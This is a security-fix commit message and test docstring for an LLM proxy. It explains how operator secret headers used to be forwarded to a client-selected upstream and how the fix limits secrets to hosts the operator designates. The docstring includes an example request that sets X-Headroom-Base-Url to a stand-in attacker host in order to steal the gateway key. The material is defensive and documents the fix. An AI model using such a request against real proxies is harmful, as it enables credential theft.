fix(security): address u9up assessment findings (WEB-01–07) (#2207)
Hardens client-selected upstreams, memory identity resolution, downloaded binary integrity, telemetry import, Docker defaults, Neo4j credentials, and archive extraction. Refreshes the branch against current main and preserves newer same-origin and loopback protections.

"""The operator's own secrets must never follow a client-chosen upstream.
``x-headroom-base-url`` lets a client pick the upstream for a single request so
OpenAI-compatible gateways route through the dedicated handlers. That is a
feature and these tests do not remove it.
What they pin is the credential that used to ride along. ``*_extra_headers`` is
operator-configured and marked ``secret=True`` in the settings store — its own
help text uses an API key as the example. It was merged into the upstream-bound
headers *before* the destination was resolved, so:
POST /v1/messages
X-Headroom-Base-Url: https://attacker.example
reached the attacker's host carrying the operator's gateway key. One request, no
user interaction, from anything able to reach the proxy port.
The rule now is the one ``copilot_auth.is_copilot_upstream_url`` already applied
to Headroom's own Copilot token, generalized: a secret only travels to a host the
operator designated. Undesignated hosts still get proxied — just without the
secret.
